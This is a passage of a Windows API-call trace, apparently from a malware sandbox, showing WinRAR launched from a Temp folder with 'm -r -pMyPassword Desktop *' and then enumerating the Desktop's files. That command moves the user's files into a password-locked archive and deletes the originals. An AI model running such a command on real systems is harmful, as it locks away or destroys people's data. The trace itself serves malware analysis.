0 [0053.406] MoveWindow (hWnd=0x101fc, X=0, Y=0, nWidth=293, nHeight=193, bRepaint=1) returned 1 [0053.406] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d38a0) returned 0x1 [0053.407] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1d39e0) returned 0x0 [0053.407] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d20e0) returned 0x1 [0053.407] CreatePen (iStyle=0, cWidth=1, color=0x606060) returned 0x730089f [0053.407] CreatePen (iStyle=0, cWidth=1, color=0x80809e) returned 0x23008b7 [0053.407] CreatePen (iStyle=0, cWidth=1, color=0xeee8e8) returned 0x13008b8 [0053.407] CreatePen (iStyle=0, cWidth=1, color=0xffffff) returned 0x13008b9 [0053.407] CreatePen (iStyle=0, cWidth=1, color=0xc0ffff) returned 0x13008ba [0053.407] CreatePen (iStyle=0, cWidth=1, color=0xb4d4e4) returned 0x13008bb [0053.407] CreatePen (iStyle=0, cWidth=1, color=0x9494b4) returned 0x13008bc [0053.407] CreatePen (iStyle=0, cWidth=1, color=0x464040) returned 0x13008bd [0053.407] CreateSolidBrush (color=0x6e6e94) returned 0x11008be [0053.407] CreateSolidBrush (color=0xdcd6d6) returned 0x11008bf [0053.407] CreateSolidBrush (color=0xa0c0d0) returned 0x11008c0 [0053.407] PostMessageW (hWnd=0x1020e, Msg=0x8008, wParam=0x0, lParam=0x1) returned 1 [0053.408] GetSystemMetrics (nIndex=49) returned 16 [0053.408] GetSystemMetrics (nIndex=50) returned 16 [0053.408] LoadImageW (hInst=0x13f160000, name=0x65, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x10207 [0053.408] SendMessageW (hWnd=0x1020e, Msg=0x80, wParam=0x0, lParam=0x10207) returned 0x0 [0053.408] GetSystemMetrics (nIndex=11) returned 32 [0053.408] GetSystemMetrics (nIndex=12) returned 32 [0053.408] LoadImageW (hInst=0x13f160000, name=0x65, type=0x1, cx=32, cy=32, fuLoad=0x0) returned 0x10209 [0053.408] SendMessageW (hWnd=0x1020e, Msg=0x80, wParam=0x1, lParam=0x10209) returned 0x0 [0053.409] GetStartupInfoW (in: lpStartupInfo=0x1d5c90 | out: lpStartupInfo=0x1d5c90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x77c295d7, hStdError=0x201d2)) [0053.410] ShowWindow (hWnd=0x1020e, nCmdShow=5) returned 0 [0053.410] GetWindowLongPtrW (hWnd=0x1020e, nIndex=-16) returned 0x84ca08cc [0053.410] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0053.435] SetDlgItemTextW (hDlg=0x1020e, nIDDlgItem=165, lpString="Desktop.rar") returned 1 [0053.463] GetWindowTextW (in: hWnd=0x1020e, lpString=0x13f302480, nMaxCount=2176 | out: lpString="Preparing files...") returned 18 [0053.463] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1d5840, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.463] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0053.463] GetWindowTextW (in: hWnd=0x10214, lpString=0x1d43f0, nMaxCount=2560 | out: lpString="") returned 0 [0053.463] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0053.463] GetWindowTextW (in: hWnd=0x10216, lpString=0x1d43f0, nMaxCount=2560 | out: lpString="") returned 0 [0053.463] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0053.463] GetTickCount () returned 0xa64424 [0053.463] UpdateWindow (hWnd=0x1020e) returned 1 [0053.463] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x40) returned 0x34de40 [0053.463] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x33608) returned 0x290bfd0 [0053.465] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x100000) returned 0x3790040 [0053.465] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x10c0) returned 0x354bf0 [0053.465] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x10c0) returned 0x355cc0 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1010) returned 0x356d90 [0053.467] FindFirstFileW (in: lpFileName="*", lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 0x2e1900 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1) returned 3 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xc00) returned 0x358dc0 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x24) returned 0x353210 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1) returned 3 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x34cf80 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1) returned 3 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2a) returned 0x34cfc0 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1) returned 3 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2e) returned 0x34d000 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.467] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1) returned 3 [0053.467] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x12) returned 0x2e2ad0 [0053.467] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1) returned 3 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2e) returned 0x34d040 [0053.468] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x18) returned 0x2e2af0 [0053.468] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1) returned 1 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x22) returned 0x353240 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1010) returned 0x3599d0 [0053.468] FindFirstFileW (in: lpFileName="dfxuFxjX5YwdPMIH\\*", lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 0x2e1960 [0053.468] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="2A58ceH2t.png", cchCount2=-1) returned 3 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x3e) returned 0x34de90 [0053.468] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="OsbsjTTafsX31mSiaRnW.ppt", cchCount2=-1) returned 1 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x54) returned 0x2e19c0 [0053.468] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="YEeHQp1lME uExplJtB3.flv", cchCount2=-1) returned 1 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x54) returned 0x2e1a20 [0053.468] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 0 [0053.468] GetLastError () returned 0x12 [0053.468] FindClose (in: hFindFile=0x2e1960 | out: hFindFile=0x2e1960) returned 1 [0053.468] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3599d0 | out: hHeap=0x290000) returned 1 [0053.468] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.468] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount2=-1) returned 1 [0053.468] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x32) returned 0x34d0c0 [0053.468] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="f7MdNo-AKV0.mkv", cchCount2=-1) returned 1 [0053.469] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x353270 [0053.469] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Fj4kdfeguFEe8WDxBVP.png", cchCount2=-1) returned 1 [0053.469] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x359a00 [0053.469] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="FuvJMN.m4a", cchCount2=-1) returned 1 [0053.469] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x16) returned 0x2e2b10 [0053.469] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1) returned 1 [0053.469] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3532a0 [0053.469] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.469] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1) returned 1 [0053.469] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.469] GetLastError () returned 0x12 [0053.469] SetLastError (dwErrCode=0x12) [0053.469] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1b46c0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.469] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0053.469] GetWindowTextW (in: hWnd=0x10214, lpString=0x1b3270, nMaxCount=2560 | out: lpString="") returned 0 [0053.469] SetWindowTextW (hWnd=0x10214, lpString="15 files found") returned 1 [0053.470] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0053.470] GetWindowTextW (in: hWnd=0x10216, lpString=0x1b3270, nMaxCount=2560 | out: lpString="") returned 0 [0053.470] GetTickCount () returned 0xa64424 [0053.470] PeekMessageW (in: lpMsg=0x1b4a60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1b4a60) returned 1 [0053.471] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="MENUACC") returned 0x20215 [0053.471] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="LISTACC") returned 0x10217 [0053.471] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="FILEACC") returned 0x10219 [0053.471] LoadAcceleratorsW (hInstance=0x13f160000, lpTableName="VIEWACC") returned 0x1021b [0053.471] GetMessageW (in: lpMsg=0x1b49f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1b49f0) returned 1 [0053.471] GetFocus () returned 0x10232 [0053.471] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1b49f0) returned 1 [0053.471] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x0) returned 0x0 [0053.471] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x22) returned 0x353390 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="jGh255P.m4a", cchCount2=-1) returned 1 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x18) returned 0x2e2b30 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1) returned 1 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2a) returned 0x359a40 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="L4T8mDg3vHms9Y.xls", cchCount2=-1) returned 1 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x26) returned 0x3533c0 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="LFfk9JORsG.avi", cchCount2=-1) returned 1 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1e) returned 0x3533f0 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="MKzdWyU3NziO.m4a", cchCount2=-1) returned 1 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x22) returned 0x353420 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="PWldfUkUS.mp3", cchCount2=-1) returned 1 [0053.471] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1c) returned 0x293f610 [0053.471] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.471] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="Qes6-o-.docx", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1a) returned 0x293f640 [0053.472] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="TYcyuRxH.mkv", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1a) returned 0x293f670 [0053.472] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="w9CVHhfkQl0.mkv", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f6a0 [0053.472] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="wfNksu nJRG5", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1a) returned 0x293f6d0 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1010) returned 0x35a9d0 [0053.472] FindFirstFileW (in: lpFileName="wfNksu nJRG5\\*", lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 0x2e1960 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="3rrOtsNWKjt8qLje.swf", cchCount2=-1) returned 3 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x44) returned 0x34dee0 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="GeJdlc0asWB3ISPXdFJ8.csv", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4c) returned 0x2e1a80 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="qHh6uE8iAnd.xls", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x3a) returned 0x34df30 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="RFLcwh3Vitv1c_T4nL.avi", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x48) returned 0x34df80 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="WIsnHaDYoZ0.ppt", cchCount2=-1) returned 1 [0053.472] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x3a) returned 0x34dfd0 [0053.472] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.472] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="XTt3.swf", cchCount2=-1) returned 1 [0053.472] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.472] GetLastError () returned 0x0 [0053.472] SetLastError (dwErrCode=0x0) [0053.472] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1b46c0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.473] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0053.473] GetWindowTextW (in: hWnd=0x10214, lpString=0x1b3270, nMaxCount=2560 | out: lpString="15 files found") returned 14 [0053.473] SetWindowTextW (hWnd=0x10214, lpString="30 files found") returned 1 [0053.473] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0053.473] GetWindowTextW (in: hWnd=0x10216, lpString=0x1b3270, nMaxCount=2560 | out: lpString="") returned 0 [0053.473] GetTickCount () returned 0xa64424 [0053.473] PeekMessageW (in: lpMsg=0x1b4a60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1b4a60) returned 1 [0053.473] GetMessageW (in: lpMsg=0x1b49f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1b49f0) returned 1 [0053.473] GetFocus () returned 0x10232 [0053.473] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1b49f0) returned 0 [0053.473] GetKeyState (nVirtKey=16) returned 0 [0053.473] TranslateAcceleratorW (hWnd=0x1020e, hAccTable=0x10219, lpMsg=0x1b49f0) returned 0 [0053.473] TranslateMessage (lpMsg=0x1b49f0) returned 0 [0053.473] DispatchMessageW (lpMsg=0x1b49f0) returned 0x0 [0053.473] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.473] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x358dc0, Size=0x1b00) returned 0x35ca00 [0053.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x2c) returned 0x359a80 [0053.473] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.473] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="_acNQOwErx 4yX.mp3", cchCount2=-1) returned 3 [0053.473] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x40) returned 0x34e020 [0053.473] FindNextFileW (in: hFindFile=0x2e1960, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 0 [0053.473] GetLastError () returned 0x12 [0053.473] FindClose (in: hFindFile=0x2e1960 | out: hFindFile=0x2e1960) returned 1 [0053.474] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x35a9d0 | out: hHeap=0x290000) returned 1 [0053.474] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 1 [0053.474] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Desktop.rar", cchCount1=-1, lpString2="xipMOvrpEcaMKsnrOoK.m4a", cchCount2=-1) returned 1 [0053.474] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x359ac0 [0053.474] FindNextFileW (in: hFindFile=0x2e1900, lpFindFileData=0x1b3090 | out: lpFindFileData=0x1b3090) returned 0 [0053.474] GetLastError () returned 0x12 [0053.474] FindClose (in: hFindFile=0x2e1900 | out: hFindFile=0x2e1900) returned 1 [0053.474] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x356d90 | out: hHeap=0x290000) returned 1 [0053.474] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.474] GetLastError () returned 0x12 [0053.474] SetLastError (dwErrCode=0x12) [0053.474] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1b4700, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.474] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0053.474] GetWindowTextW (in: hWnd=0x10214, lpString=0x1b32b0, nMaxCount=2560 | out: lpString="30 files found") returned 14 [0053.474] SetWindowTextW (hWnd=0x10214, lpString="33 files found") returned 1 [0053.474] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0053.474] GetWindowTextW (in: hWnd=0x10216, lpString=0x1b32b0, nMaxCount=2560 | out: lpString="") returned 0 [0053.474] GetTickCount () returned 0xa64424 [0053.474] PeekMessageW (in: lpMsg=0x1b4aa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1b4aa0) returned 0 [0053.474] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.474] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x60) returned 0x351280 [0053.474] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77ae0000 [0053.475] GetProcAddress (hModule=0x77ae0000, lpProcName="CompareStringOrdinal") returned 0x77afd720 [0053.475] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="wfNksu nJRG5\\_acNQOwErx 4yX.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="xipMOvrpEcaMKsnrOoK.m4a", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\XTt3.swf", cchCount1=-1, lpString2="wfNksu nJRG5\\WIsnHaDYoZ0.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\XTt3.swf", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="wfNksu nJRG5\\qHh6uE8iAnd.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\RFLcwh3Vitv1c_T4nL.avi", cchCount1=-1, lpString2="FuvJMN.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="wfNksu nJRG5\\3rrOtsNWKjt8qLje.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5\\GeJdlc0asWB3ISPXdFJ8.csv", cchCount1=-1, lpString2="Fj4kdfeguFEe8WDxBVP.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="w9CVHhfkQl0.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="wfNksu nJRG5", cchCount1=-1, lpString2="f7MdNo-AKV0.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal (lpString1="TYcyuRxH.mkv", cchCount1=-1, lpString2="Qes6-o-.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.475] CompareStringOrdinal 